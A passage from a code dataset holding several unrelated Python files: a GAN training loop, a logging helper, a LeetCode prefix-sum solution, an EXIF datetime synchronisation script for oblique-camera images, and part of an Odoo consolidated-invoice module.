= torch.tensor([0.0, 0.0], device=device) \n\n # Initialize optimizers\n gen_opt = torch.optim.Adam(generator.parameters(), lr=1e-4, betas=(0.0, 0.999), eps=1e-6)\n disc_opt = torch.optim.Adam(discriminator.parameters(), lr=4e-4, betas=(0.0, 0.999), eps=1e-6)\n\n cur_step = 0\n min_fid = inf\n\n # Generate random noise (z)\n fixed_image, _, fixed_pose = next(iter(loader))\n fixed_z = torch.randn(len(fixed_image), generator.z_dim, device=device)\n fixed_y = fixed_pose\n if not img_dir is None:\n save_image(fixed_image, img_dir+\"real.png\")\n # Generate a batch of poses (y)\n fixed_y = fixed_y.to(device)\n\n fakes = torch.tensor([], device='cpu')\n fids = torch.tensor([], device='cpu')\n\n fid_step = 0\n\n for epoch in range(n_epochs):\n print('##############################')\n print('#epoch: {}'.format(epoch))\n\n for _, sample in enumerate(loader):\n real, _, pose = sample[0], sample[1], sample[2]\n _y = pose\n\n batch_size = len(real)\n real = real.to(device)\n\n disc_opt.zero_grad()\n gen_opt.zero_grad()\n\n for _ in range(D_steps):\n # Zero out the discriminator gradients\n disc_opt.zero_grad()\n ### Update discriminator ###\n # Get noise corresponding to the current batch_size \n z = torch.randn(batch_size, generator.z_dim, device=device) # Generate random noise (z)\n y = _y.to(device) # Generate a batch of labels (y), one for each class\n fake = generator(z, y)\n \"\"\"\n fake = augmentation(fake.detach())\n real_augmented = augmentation(real)\n \"\"\"\n # fake_augmented, real_augmented = torch.split(augmentation(torch.cat([fake, real], dim=0)), fake.shape[0])\n seed = randrange(2**64)\n torch.manual_seed(seed)\n fake_augmented = augmentation(fake)\n torch.manual_seed(seed)\n real_augmented = augmentation(real)\n torch.manual_seed(seed)\n y_augmented = augmentation(y)\n\n disc_fake_pred = discriminator(torch.cat([fake_augmented, y_augmented], dim=1))\n disc_real_pred = discriminator(torch.cat([real_augmented, y_augmented], dim=1))\n\n ada_buf += torch.tensor(\n (torch.clamp(torch.sign(disc_real_pred), min=0, max=1).sum().item(), disc_real_pred.shape[0]),\n device=device\n )\n\n #loss\n disc_loss = discriminator.loss(disc_fake_pred, disc_real_pred)\n # Update gradients\n disc_loss.backward()\n\n if ortho_reg:\n ortho(discriminator, ortho_strength)\n\n # Update optimizer\n disc_opt.step()\n\n ### Update generator ###\n # Zero out the generator gradients\n gen_opt.zero_grad()\n\n fake = generator(z, y)\n seed = randrange(2**64)\n torch.manual_seed(seed)\n fake_augmented = augmentation(fake)\n torch.manual_seed(seed)\n y_augmented = augmentation(y)\n disc_fake_pred = discriminator(torch.cat([fake_augmented, y_augmented], dim=1))\n #loss\n gen_loss = generator.loss(disc_fake_pred)\n # Update gradients\n gen_loss.backward()\n\n if ortho_reg:\n ortho(generator, ortho_strength)\n\n # Update optimizer\n gen_opt.step()\n\n fakes = torch.cat((fakes, fake.to('cpu')))\n\n if cur_step % update_iteration == 0:\n # Adaptive Data Augmentation\n pred_signs, n_pred = ada_buf\n r_t = pred_signs / n_pred\n\n sign = r_t - ada_target\n\n augmentation.p = torch.clamp(augmentation.p + (sign * n_pred / adjustment_size), min=0, max=max_p)\n\n ada_buf = ada_buf * 0\n\n cur_step +=1\n\n if cur_step*batch_size/(fid_step+1) > fid_len:\n fid_step += 1\n print('===========================================================================')\n val_fid = pfw.fid(fakes, real_m=fid_real_m, real_s=fid_real_s)\n fids = torch.cat((fids, torch.tensor([val_fid])))\n fakes = torch.tensor([], device='cpu')\n print('FID: {}'.format(val_fid))\n print('Augmentation p: {}'.format(augmentation.p))\n if (val_fid < min_fid):\n min_fid = val_fid\n torch.save(generator.state_dict(), (model_dir+'gen.state_dict'))\n torch.save(discriminator.state_dict(), (model_dir+'disc.state_dict'))\n print('===========================================================================')\n\n print('saved images')\n if not img_dir is None:\n fake = generator(fixed_z, fixed_y)\n save_image(fake, img_dir+\"generated{}.png\".format(epoch))\n\n generator.load_state_dict(torch.load(model_dir+'gen.state_dict'))\n discriminator.load_state_dict(torch.load(model_dir+'disc.state_dict'))\n\n return generator, discriminator, fids","repo_name":"okason97/HandGAN","sub_path":"gan/train_loop.py","file_name":"train_loop.py","file_ext":"py","file_size_in_byte":6470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"46021145610","text":"import logging\nimport os\n\n# log levels\n# logging.DEBUG\n# logging.INFO,\n# logging.WARNING\n# logging.ERROR\n# logging.CRITICAL}\n\nlog_level = logging.DEBUG\n\n\n# Standard Python Loger will display messages to console & log into file\n# is using several log level and messages all the time starts with :INFO, DEBUG, ERROR or WARNING\ndef setupLog(cfg, main_action):\n global log_level \n if main_action in ['debug','check']:\n log_level= logging.DEBUG\n else: \n log_level= logging.INFO\n\n logging.basicConfig(format='%(levelname)s: %(message)s',level=log_level)\n \n # create a file loger on demand \n log_file_name = cfg.get_var('LOG_FILE')\n \n result = logging.getLogger(log_file_name)\n result.raiseException=True \n # Establish the log record format\n if log_level == logging.DEBUG:\n str_format = '%(asctime)-15s %(levelname)-8s %(module)-12s #%(lineno)03d %(message)s'\n else:\n str_format = '%(asctime)-15s %(levelname)-8s %(message)s'\n # Crete file handler\n fileHandler = logging.FileHandler(log_file_name, mode='a', encoding=None, delay=False) \n fileHandler.setFormatter(logging.Formatter(fmt=str_format))\n result.addHandler(fileHandler) \n # Check if log is created\n if not os.path.exists(log_file_name): \n raise OSError(\"Can't create log file \" + log_file_name)\n return result\n\n# conventional log file, useful for record plain outputs \nclass openLog:\n # raw text, based on simple text outputs\n # output file name must be specified\n def __init__(self,file_name):\n self.file_name = file_name\n out_file = open(file_name,'w+')\n self.file = out_file\n \n # write one word\n def write(self,str):\n self.file.write(str)\n \n # write one line \n def writeln(self,str=None):\n if str: self.file.write(str)\n self.file.write('\\n')\n \n # write many lines at once\n def writelines(self,lst):\n new_list = {element+'\\n' for element in lst}\n self.file.writelines(new_list)\n # close the writer \n def close(self):\n self.file.seek(0)\n line = self.file.readline()\n self.file.close()\n if len(line) == 0:\n os.remove(self.file_name)\n\n# convention: the output folder is the {OUTPUT_FOLDER}/test_code/step_code\n# the folder is created if does not exist, the file is not oppened\ndef get_file_name(cfg,step,ext):\n file_path_name = os.path.join(cfg.output_folder,'%s.%s' % (step.code,ext))\n return file_path_name \n\n#end ","repo_name":"elucian/test-robot","sub_path":"core/ts_loger.py","file_name":"ts_loger.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27615859076","text":"# 304. Range Sum Query 2D - Immutable\n# Medium\n# Array, Design, Matrix, Prefix Sum\n# https://leetcode.com/problems/range-sum-query-2d-immutable/\n#\n# Calculate the sum of a matrix defined by its upper left\n# corner (row1, col1) and lower right corner (row2, col2).\n#\n# sumRegion: O(1) time complexity\n\nclass NumMatrix:\n pre_sum = [[]]\n \n def __init__(self, matrix: list[list[int]]):\n # Check conditions of matrix and skip any unneccessary work.\n if not matrix or matrix == [[-1]]: return\n rows, cols = len(matrix), len(matrix[0])\n if rows == 1 and cols == 1:\n return matrix[0[0]]\n\n # matrix = [\n # [3, 0, 1, 4, 2],\n # [5, 6, 3, 2, 1],\n # [1, 2, 0, 1, 5],\n # [4, 1, 0, 1, 7],\n # [1, 0, 3, 0, 5]]\n\n # Initialize a matrix summary with the correct dimensions.\n self.pre_sum = [[0] * (cols + 1) for _ in range(rows + 1)]\n\n # Summarize all the submatrices from (0:rows, 0:cols) beforehand.\n for i in range(rows):\n for j in range(cols):\n # The pre_sum of the next submatrix is:\n self.pre_sum[i + 1][j + 1] = (\n matrix[i][j] # The last NUMBER of the submatrix.\n + self.pre_sum[i][j + 1] # Plus the next cols submatrix SUM.\n + self.pre_sum[i + 1][j] # Plus the next rows submatrix SUM.\n - self.pre_sum[i][j]) # Minus the current submatrix SUM.\n # pre_sum = [\n # [0, 0, 0, 0, 0, 0],\n # [0, 3, 3, 4, 8, 10],\n # [0, 8, 14, 18, 24, 27],\n # [0, 9, 17, 21, 28, 36],\n # [0, 13, 22, 26, 34, 49],\n # [0, 14, 23, 30, 38, 58]]\n\n # r1c1: (2, 1)\n # r2c2: (4, 3)\n # submatrix = [\n # [_, _, _, _, _],\n # [_, _, _, _, _],\n # [_, 2, 0, 1, _],\n # [_, 1, 0, 1, _],\n # [_, 0, 3, 0, _]]\n def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n if self.pre_sum == [[]]: return -1 # Out of constraint error handling.\n return ( \n self.pre_sum[row2 + 1][col2 + 1] # The full matrix summary (>r5c4 = 38).\n - self.pre_sum[row1][col2 + 1] # Minus the sum submatrix above (*r2c4 = 24).\n - self.pre_sum[row2 + 1][col1] # Minus the sum submatrix before (*r5c1 = 14).\n + self.pre_sum[row1][col1]) # Area was double subbed, add back (~r2c1 = 8). \n\n # r1c1: (2, 1)\n # r2c2: (4, 3)\n # pre_sum = [\n # [0, 0, 0, 0, 0, 0],\n # [0, , , , , ],\n # [0, ~r2c1, , , *r2c4, ],\n # ___________\n # [0, , | , , |, ],\n # [0, , | , , |, ],\n # [0, *r5c1, | , , >r5c4|, ]]\n\n # pre_sum = [\n # [0, 0, 0, 0, 0, 0],\n # [0, 3, 3, 4, 8, 10],\n # [0, ~8, 14, 18, *24, 27],\n # ___________\n # [0, 9, |17, 21, 28|, 36],\n # [0, 13, |22, 26, 34|, 49],\n # [0, *14, |23, 30, >38|, 58]]","repo_name":"daviscvance/Practice","sub_path":"Leetcode/Python/arrays/medium/304-range-sum-query-2d.py","file_name":"304-range-sum-query-2d.py","file_ext":"py","file_size_in_byte":3239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37149937174","text":"#\n#\n# CheckDT_Sync.py : read all five-images from obique camera system,\n# group and modified their datetime* \n# by synchronization.\n# P.Santitamnont ( 4 Dec 2022 )\n#\n#\nimport datetime\nimport numpy as np \nimport pandas as pd\nimport geopandas as gpd\nfrom pathlib import Path\nfrom exif import Image\n\nEXIF_DT_FMT = '%Y:%m:%d %H:%M:%S'\n\n##########################################################################\ndef ReadAllJPEG( PATH_JPEG ):\n data = list()\n for cnt,i in enumerate( PATH_JPEG.glob('./*/*.JPG') ):\n if cnt%100==0: print( f'proecssing rig count={cnt}...' )\n with open( i , 'rb') as fd:\n image = Image( fd )\n dt, orient = image.datetime_digitized, image.orientation.value\n #if cnt==100: break\n data.append( [i, i.stem, i.stem[0] , i.stem[1:], dt , orient] )\n print( f'end of proecssing rig={cnt}...' )\n\n df = pd.DataFrame( data, columns=[ 'ImagePath', 'ImageName', \n 'RigPos', 'RigName', 'dt_digitized', 'orient' ] )\n def MakeDT(row):\n dt = pd.to_datetime( row.dt_digitized, format=EXIF_DT_FMT )\n return dt\n df['dt'] = df.apply( MakeDT, axis=1 )\n return df\n\n##########################################################################\ndef AdjustExifDateTime( df, INCR_SEC=1 ):\n ''' Pix4D prefers ADSWX '''\n adj_row = [] ; error_5cam = []\n RUN_NO = 0\n RUN_DT = df.dt.min() \n for rig_name, row in df.groupby( 'RigName' ):\n print( rig_name )\n if len(row)!=5:\n #print( f'@@@@@@@@@@@@@@@@@ rig name = {rig_name} @@@@@@@@@@@@@@@@@@@')\n #print( '*** ERROR *** number images in rig is not 5!...')\n error_5cam.append( row.ImageName.to_list() )\n if len(row.dt_digitized.unique()) != 1 and len(row)==5:\n #print( f'@@@@@@@@@@@@@@@@@ rig name = {rig_name} @@@@@@@@@@@@@@@@@@@')\n #print( '*** ERROR *** datetime_digitized not the same, adjusting to median()...')\n assert( int(rig_name)>RUN_NO ) \n if INCR_SEC is None:\n dtAdj = row['dt'].median()\n else:\n dtAdj = RUN_DT + datetime.timedelta( seconds=INCR_SEC )\n row['dtAdj'] = dtAdj \n #import pdb ; pdb.set_trace()\n #assert( dtAdj.timestamp() > RUN_DT )\n adj_row.append( row )\n RUN_DT = dtAdj\n RUN_NO = int(rig_name)\n print(f'Total JPEG ={len(df):,} ' )\n NRIG = len(adj_row)\n print(f'Total rig = {NRIG:,d} head = {NRIG*5:,}...' )\n print(f'Total errors ERROR_5CAM={len(error_5cam)} and will be exclueded ...' )\n print( error_5cam )\n return pd.concat( adj_row )\n\n##########################################################################\ndef ModifyCopyJPEG( dfADJ_DT, DO_COPY=False ):\n for i,row in dfADJ_DT.iterrows():\n infile = row.ImagePath\n outfile = Path('./CACHE').joinpath( infile )\n dtAdj = row.dtAdj.strftime( EXIF_DT_FMT )\n print( dtAdj )\n if DO_COPY==False:\n print('>>> SIMULATION no actual JPEG created ...<<<' )\n print( f'Reading original JPEG {infile} ...' )\n print( f'Update metadata EXIF_DateTime \"{dtAdj}\"..')\n print( f'Writing modified JPEG {outfile} ...' )\n ##############################################\n if DO_COPY:\n outfile.parent.mkdir(parents=True, exist_ok=True) \n with open( infile, 'rb' ) as fd_in:\n img = Image( fd_in )\n img.copyright = 'MEA@Dec.2022'\n img.datetime = dtAdj\n img.datetime_digitized = dtAdj\n img.datetime_original = dtAdj\n with open( outfile, 'wb' ) as fd_out:\n fd_out.write( img.get_file() )\n \n###########################################################################\n###########################################################################\n###########################################################################\nPATH_JPEG = Path('CA502_CU_SBR_SmallBlock/DATA_SmallBlock/' )\ndfAllJPEG = ReadAllJPEG( PATH_JPEG )\ndfAdjDT = AdjustExifDateTime( dfAllJPEG, INCR_SEC=1 )\n\n###########################################################################\ndt_rig = [] ; dtPrev = None\nfor grp_rig, row in dfAdjDT.groupby('RigName'):\n assert( len(row)==5 )\n assert( sorted( row.RigPos.to_list()) == ['A', 'D', 'S', 'W', 'X'] )\n diffs = (row.dtAdj - row.iloc[0].dtAdj).dt.total_seconds().to_list()\n assert( np.allclose( diffs, 0.0) )\n if dtPrev is None:\n dtPrev = row.iloc[0].dtAdj\n else:\n dt_rig.append( (row.iloc[0].dtAdj-dtPrev).total_seconds() )\nprint( f'Recheck all {len( dfAdjDT):,} rig passed !!!...' )\nprint( dt_rig )\nprint( dfAdjDT )\n###########################################################################\nModifyCopyJPEG( dfAdjDT, DO_COPY=True )\nimport pdb ; pdb.set_trace()\n\n \n","repo_name":"phisan-chula/UAV_Research","sub_path":"ObliqueCamera/CheckDT_Sync.py","file_name":"CheckDT_Sync.py","file_ext":"py","file_size_in_byte":4917,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"71926784195","text":"from openerp.osv import fields, osv, orm\nimport openerp.addons.decimal_precision as dp\nimport re\nimport time\nfrom openerp.tools.translate import _\n\n\nclass consolidated_invoice(osv.osv):\n\n def _get_invoices(self, cr, uid, ids, context=None):\n # this function is passed a list of invoices that have changed. \n # this function then returns the list of consolidated invoices they are\n # on so that they can be recalculated.\n result = {}\n for invoice in self.pool.get('account.invoice').browse(cr, uid, ids, context=context):\n if invoice.consolidated_invoice_link:\n for inv_id in [ i.consolidated_invoice_id.id for i in invoice.consolidated_invoice_link ]:\n result[inv_id] = True\n return result.keys()\n\n def _get_invoice_line(self, cr, uid, ids, context=None):\n result = {}\n for line in self.pool.get('account.invoice.line').browse(cr, uid, ids, context=context):\n ci_link = line.invoice_id.consolidated_invoice_link\n if ci_link:\n result[ci_link[0].consolidated_invoice_id.id] = True\n return result.keys()\n\n def _get_invoice_tax(self, cr, uid, ids, context=None):\n result = {}\n for tax in self.pool.get('account.invoice.tax').browse(cr, uid, ids, context=context):\n ci_link = tax.invoice_id.consolidated_invoice_link\n if ci_link:\n result[ci_link[0].consolidated_invoice_id.id] = True\n return result.keys()\n\n def _get_invoice_from_line(self, cr, uid, ids, context=None):\n move = {}\n for line in self.pool.get('account.move.line').browse(cr, uid, ids, context=context):\n if line.reconcile_partial_id:\n for line2 in line.reconcile_partial_id.line_partial_ids:\n move[line2.move_id.id] = True\n if line.reconcile_id:\n for line2 in line.reconcile_id.line_id:\n move[line2.move_id.id] = True\n invoice_ids = []\n if move:\n invoice_ids = _get_for_moves(cr, uid, move.keys(), context=context)\n return invoice_ids\n\n def _get_invoice_from_reconcile(self, cr, uid, ids, context=None):\n move = {}\n for r in self.pool.get('account.move.reconcile').browse(cr, uid, ids, context=context):\n for line in r.line_partial_ids:\n move[line.move_id.id] = True\n for line in r.line_id:\n move[line.move_id.id] = True\n\n invoice_ids = []\n if move:\n invoice_ids = _get_for_moves(cr, uid, move.keys(), context=context)\n return invoice_ids\n\n def _get_journal(self, cr, uid, context=None):\n if context is None:\n context = {}\n type_inv = context.get('type', 'out_invoice')\n user = self.pool.get('res.users').browse(cr, uid, uid, context=context)\n company_id = context.get('company_id', user.company_id.id)\n type2journal = {'out_invoice': 'sale', 'in_invoice': 'purchase', 'out_refund': 'sale_refund', 'in_refund': 'purchase_refund'}\n journal_obj = self.pool.get('account.journal')\n domain = [('company_id', '=', company_id)]\n if isinstance(type_inv, list):\n domain.append(('type', 'in', [type2journal.get(type) for type in type_inv if type2journal.get(type)]))\n else:\n domain.append(('type', '=', type2journal.get(type_inv, 'sale')))\n res = journal_obj.search(cr, uid, domain, limit=1)\n return res and res[0] or False\n\n def _get_currency(self, cr, uid, context=None):\n res = False\n journal_id = self._get_journal(cr, uid, context=context)\n if journal_id:\n journal = self.pool.get('account.journal').browse(cr, uid, journal_id, context=context)\n res = journal.currency and journal.currency.id or journal.company_id.currency_id.id\n return res\n\n def _amount_all(self, cr, uid, ids, name, args, context=None):\n res = {}\n for ci in self.browse(cr, uid, ids, context=context):\n res[ci.id] = {\n 'amount_untaxed': 0.0,\n 'amount_tax': 0.0,\n 'amount_total': 0.0,\n 'residual': 0.0\n }\n for invoice in [l.invoice_id for l in ci.invoice_links]:\n refund = re.match('.*refund$', invoice.type)\n for line in invoice.invoice_line:\n if refund:\n res[ci.id]['amount_untaxed'] -= line.price_subtotal\n else:\n res[ci.id]['amount_untaxed'] += line.price_subtotal\n for line in invoice.tax_line:\n if refund:\n res[ci.id]['amount_tax'] -= line.amount\n else:\n res[ci.id]['amount_tax'] += line.amount\n res[ci.id]['amount_total'] = res[ci.id]['amount_tax'] + res[ci.id]['amount_untaxed']\n if refund:\n res[ci.id]['residual'] -= invoice.residual\n else:\n res[ci.id]['residual'] += invoice.residual\n\n\n return res\n\n _name = 'account.consolidated.invoice'\n _description = 'Consolidated invoice'\n _order = \"id desc\"\n _columns = {\n 'name': fields.char('Reference', size=64, select=True, readonly=True, states={'draft': [('readonly',False)]}),\n 'line_text': fields.text('Line Text', required=True),\n 'reference': fields.char('Invoice Reference', size=64, help=\"The partner reference of this invoice.\"),\n 'invoice_links': fields.one2many('account.consolidated.invoice.link', 'consolidated_invoice_id', 'Invoices', readonly=True, states={'draft':[('readonly',False)]}),\n 'comment': fields.text('Additional Information'),\n 'state': fields.selection([\n ('draft','Draft'),\n ('open','Open'),\n ('paid','Paid'),\n ('cancel','Cancelled'),\n ],'Status', select=True, readonly=True, track_visibility='onchange',\n help=' * The \\'Draft\\' status is used when a user is encoding a new and unconfirmed Invoice. \\\n \\n* The \\'Open\\' status is used when user create invoice,a invoice number is generated.Its in open status till user does not pay invoice. \\\n \\n* The \\'Paid\\' status is set automatically when the invoice is paid. Its related journal entries may or may not be reconciled. \\\n \\n* The \\'Cancelled\\' status is used when user cancel invoice.'),\n 'date_invoice': fields.date('Invoice Date', readonly=True, states={'draft':[('readonly',False)]}, select=True, help=\"Keep empty to use the current date\"),\n 'partner_id': fields.many2one('res.partner', 'Partner', change_default=True, readonly=True, required=True, states={'draft':[('readonly',False)]}, track_visibility='always'),\n 'company_id': fields.many2one('res.company', 'Company', required=True, change_default=True, readonly=True, states={'draft':[('readonly',False)]}),\n 'currency_id': fields.many2one('res.currency', 'Currency', required=True, readonly=True, states={'draft':[('readonly',False)]}, track_visibility='always'),\n 'journal_id': fields.many2one('account.journal', 'Journal', required=True, readonly=True, states={'draft':[('readonly',False)]}),\n\n 'amount_untaxed': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Subtotal', track_visibility='always',\n store={\n 'account.consolidated.invoice': (lambda self, cr, uid, ids, c={}: ids, ['invoice_links'], 20),\n 'account.invoice': (_get_invoices, ['invoice_line'], 20),\n 'account.invoice.tax': (_get_invoice_tax, None, 20),\n 'account.invoice.line': (_get_invoice_line, ['price_unit','invoice_line_tax_id','quantity','discount','invoice_id'], 20),\n },\n multi='all'),\n 'amount_tax': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Tax',\n store={\n 'account.consolidated.invoice': (lambda self, cr, uid, ids, c={}: ids, ['invoice_links'], 20),\n 'account.invoice': (_get_invoices, ['invoice_line'], 20),\n 'account.invoice.tax': (_get_invoice_tax, None, 20),\n 'account.invoice.line': (_get_invoice_line, ['price_unit','invoice_line_tax_id','quantity','discount','invoice_id'], 20),\n },\n multi='all'),\n 'amount_total': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Total',\n store={\n 'account.consolidated.invoice': (lambda self, cr, uid, ids, c={}: ids, ['invoice_links'], 20),\n 'account.invoice': (_get_invoices, ['invoice_line'], 20),\n 'account.invoice.tax': (_get_invoice_tax, None, 20),\n 'account.invoice.line': (_get_invoice_line, ['price_unit','invoice_line_tax_id','quantity','discount','invoice_id'], 20),\n },\n multi='all'),\n 'residual': fields.function(_amount_all, digits_compute=dp.get_precision('Account'), string='Balance',\n store={\n 'account.consolidated.invoice': (lambda self, cr, uid, ids, c={}: ids, ['invoice_links'], 20),\n 'account.invoice': (_get_invoices, ['invoice_line', 'residual'], 20),\n 'account.invoice.tax': (_get_invoice_tax, None, 20),\n 'account.invoice.line': (_get_invoice_line, ['price_unit','invoice_line_tax_id','quantity','discount','invoice_id'], 20),\n 'account.move.line': (_get_invoice_from_line, None, 50),\n 'account.move.reconcile': (_get_invoice_from_reconcile, None, 50),\n },\n multi='all',\n help=\"Remaining amount due.\"),\n }\n _defaults = {\n 'state': 'draft',\n 'journal_id': _get_journal,\n 'currency_id': _get_currency,\n 'reference': lambda self, cr, uid, c: self.pool.get('ir.sequence').get(cr, uid, 'account.consolidated.invoice'),\n 'company_id': lambda self,cr,uid,c: self.pool.get('res.company')._company_default_get(cr, uid, 'account.invoice', context=c),\n }\n\n # go from canceled state to draft state\n def action_cancel_draft(self, cr, uid, ids, *args):\n self.write(cr, uid, ids, {'state':'draft'})\n self.delete_workflow(cr, uid, ids)\n self.create_workflow(cr, uid, ids)\n account_inv_obj = self.pool.get('account.invoice')\n inv_ids = account_inv_obj.search(cr, uid, [('state','=','cancel'), ('consolidated_invoice_link.consolidated_invoice_id', 'in', ids)], context=None)\n account_inv_obj.action_cancel_draft(cr, uid, inv_ids, *args)\n return True\n\n def action_date_assign(self, cr, uid, ids, *args):\n account_inv_obj = self.pool.get('account.invoice')\n inv_ids = account_inv_obj.search(cr, uid, [('consolidated_invoice_link.consolidated_invoice_id', 'in', ids)], context=None)\n account_inv_obj.action_date_assign(cr, uid, inv_ids, *args)\n return True\n\n def invoice_validate(self, cr, uid, ids, context=None):\n self.write(cr, uid, ids, {'state':'open'}, context=context)\n account_inv_obj = self.pool.get('account.invoice')\n inv_ids = account_inv_obj.search(cr, uid, [('state','=','draft'), ('consolidated_invoice_link.consolidated_invoice_id', 'in', ids)], context=context)\n account_inv_obj.action_move_create(cr, uid, inv_ids, context=context)\n account_inv_obj.action_number(cr, uid, inv_ids, context=context)\n account_inv_obj.invoice_validate(cr, uid, inv_ids, context=context)\n return True\n\n def invoice_pay_customer(self, cr, uid, ids, context=None):\n if not ids: return []\n move_line_ids = self.move_line_id_payment_get(cr, uid, ids)\n if not move_line_ids:\n return []\n # need the corresponding invoices movement ids\n dummy, view_id = self.pool.get('ir.model.data').get_object_reference(cr, uid, 'account_voucher', 'view_vendor_receipt_dialog_form')\n\n inv = self.browse(cr, uid, ids[0], context=context)\n return {\n 'name':_(\"Pay Invoice\"),\n 'view_mode': 'form',\n 'view_id': view_id,\n 'view_type': 'form',\n 'res_model': 'account.voucher',\n 'type': 'ir.actions.act_window',\n 'nodestroy': True,\n 'target': 'new',\n 'domain': '[]',\n 'context': {\n 'payment_expected_currency': inv.currency_id.id,\n 'default_partner_id': self.pool.get('res.partner')._find_accounting_partner(inv.partner_id).id,\n 'default_amount': inv.residual, \n 'default_reference': inv.name,\n 'close_after_process': True,\n 'invoice_type': 'in_invoice', # FIXME: perhaps deal with this based on invoice type?\n 'move_line_ids': move_line_ids,\n 'default_type': 'receipt',\n 'type': 'receipt'\n }\n }\n\n def confirm_paid(self, cr, uid, ids, context=None):\n if context is None:\n context = {}\n self.write(cr, uid, ids, {'state':'paid'}, context=context)\n return True\n\n def action_cancel(self, cr, uid, ids, context=None):\n self.write(cr, uid, ids, {'state':'cancel'})\n account_inv_obj = self.pool.get('account.invoice')\n inv_ids = account_inv_obj.search(cr, uid, [('consolidated_invoice_link.consolidated_invoice_id', 'in', ids)], context=context)\n account_inv_obj.action_cancel(cr, uid, inv_ids, context=context)\n return True\n\n def move_line_id_payment_get(self, cr, uid, ids, *args):\n if not ids: return []\n result = self.move_line_id_payment_gets(cr, uid, ids, *args)\n return result.get(ids[0], [])\n\n def move_line_id_payment_gets(self, cr, uid, ids, *args):\n res = {}\n if not ids: return res\n cr.execute('SELECT c.consolidated_invoice_id, l.id '\\\n 'FROM account_move_line l '\\\n 'INNER JOIN account_invoice i ON (i.move_id=l.move_id) '\\\n 'INNER JOIN account_consolidated_invoice_link c ON i.id = c.invoice_id '\\\n 'WHERE c.consolidated_invoice_id IN %s '\\\n 'AND l.account_id=i.account_id',\n (tuple(ids),))\n for r in cr.fetchall():\n res.setdefault(r[0], [])\n res[r[0]].append( r[1] )\n return res\n\n def test_paid(self, cr, uid, ids, *args):\n res = self.move_line_id_payment_get(cr, uid, ids)\n if not res:\n return False\n ok = True\n for id in res:\n cr.execute('select reconcile_id from account_move_line where id=%s', (id,))\n ok = ok and bool(cr.fetchone()[0])\n return ok\n\n def onchange_journal_id(self, cr, uid, ids, journal_id=False, context=None):\n result = {}\n if journal_id:\n journal = self.pool.get('account.journal').browse(cr, uid, journal_id, context=context)\n currency_id = journal.currency and journal.currency.id or journal.company_id.currency_id.id\n company_id = journal.company_id.id\n result = {'value': {\n 'currency_id': currency_id,\n 'company_id': company_id,\n }\n }\n return result\n\n def invoice_print(self, cr, uid, ids, context=None):\n \"\"\"This function prints the invoice.\n \"\"\"\n assert len(ids) == 1, 'This option should only be used for a single id at a time.'\n #self.write(cr, uid, ids, {'sent': True}, context=context)\n return self.pool['report'].get_action(cr, uid, ids,\n 'consolidated_invoices.report_consolidated_invoice', context=context)\n\n def _consolidate_by_po(self, cr, uid, data, invoice_limit=None, context=None):\n extra_sql = \"\"\n params = [data.partner_id.id]\n if invoice_limit:\n extra_sql = \"and i.id in (%s)\" % (', '.join(['%s' for i in invoice_limit]))\n params += invoice_limit\n by_po_sql = \"\"\"\n select i.name as reference, partner_id, i.company_id, journal_id, currency_id, p.name as partner_name, array_agg(i.id) as ids\n from account_invoice i\n inner join res_partner p on partner_id = p.id\n where partner_id = %%s\n and i.state = 'draft'\n and i.id not in (select invoice_id from account_consolidated_invoice_link)\n %s\n group by i.name, partner_id, i.company_id, journal_id, currency_id, p.name\n \"\"\" % extra_sql\n cr.execute(by_po_sql, tuple(params))\n records = cr.dictfetchall()\n invoice_info = []\n for record in records:\n ids = record['ids']\n del(record['ids'])\n invoice_info.append({'ids': ids, 'data':record})\n return invoice_info\n\n def _consolidate_by_period(self, cr, uid, data, by_po=False, context=None):\n # for periods,\n # a) limit end point\n # b) find first date?\n # c) do a fake table of the dates to group by?\n if data.period in ('weekly', 'monthly'):\n by_period_sql = \"\"\"\n select min(date_invoice) as min_date, max(date_invoice) as max_date\n from account_invoice i\n where partner_id = %s\n and i.state = 'draft'\n and i.id not in (select invoice_id from account_consolidated_invoice_link)\n \"\"\"\n cr.execute(by_period_sql, (data.partner_id.id,))\n records = cr.fetchall()\n mindate, maxdate = records[0]\n\n params = [data.partner_id.id]\n reference_field = 'i.name as reference'\n if data.period == 'daily':\n if not by_po:\n reference_field = \"'Consolidated invoice for ' || date_invoice::varchar as reference\"\n sql_group = \"\"\"\n select %s, \n partner_id, i.company_id, journal_id, currency_id, p.name as partner_name, \n array_agg(i.id) as ids\n from account_invoice i\n inner join res_partner p on partner_id = p.id\n where partner_id = %%s\n and i.state = 'draft'\n and i.id not in (select invoice_id from account_consolidated_invoice_link)\n group by %s date_invoice, partner_id, i.company_id, journal_id, currency_id, p.name\n \"\"\"\n elif data.period == 'weekly':\n days = ['sunday', 'monday', 'tuesday', 'wednesday' ,'thursday' ,'friday' ,'saturday']\n dow = days.index(data.dayofweek)\n if not by_po:\n reference_field = \"'Consolidated invoice for week commencing ' || generate_series::date::varchar as reference\"\n sql_group = \"\"\"\n select array_agg(i.id) as ids, %s,\n partner_id, i.company_id, journal_id, currency_id, p.name as partner_name\n from account_invoice i\n inner join res_partner p on partner_id = p.id\n inner join generate_series(current_date::date + ((%%s - extract(dow from current_date) - 7)::varchar || ' days')::interval\n , %%s::date - '7 day'::interval, '-7 day') \n on date_invoice between generate_series::date and generate_series::date + '6 days'::interval \n where partner_id = %%s\n and i.state = 'draft'\n and i.id not in (select invoice_id from account_consolidated_invoice_link)\n group by %s partner_id, i.company_id, journal_id, currency_id, p.name, generate_series::date\n \"\"\"\n params = [dow, mindate] + params\n elif data.period == 'monthly':\n if not by_po:\n reference_field = \"'Consolidated invoice for month commencing ' || generate_series::date::varchar as reference\"\n sql_group = \"\"\"\n select array_agg(i.id) as ids, %s,\n partner_id, i.company_id, journal_id, currency_id, p.name as partner_name\n from account_invoice i\n inner join res_partner p on partner_id = p.id\n inner join generate_series(current_date::date + ((%%s - extract(day from current_date))::varchar || ' days')::interval - '1 month'::interval\n , %%s::date - '1 month'::interval, '-1 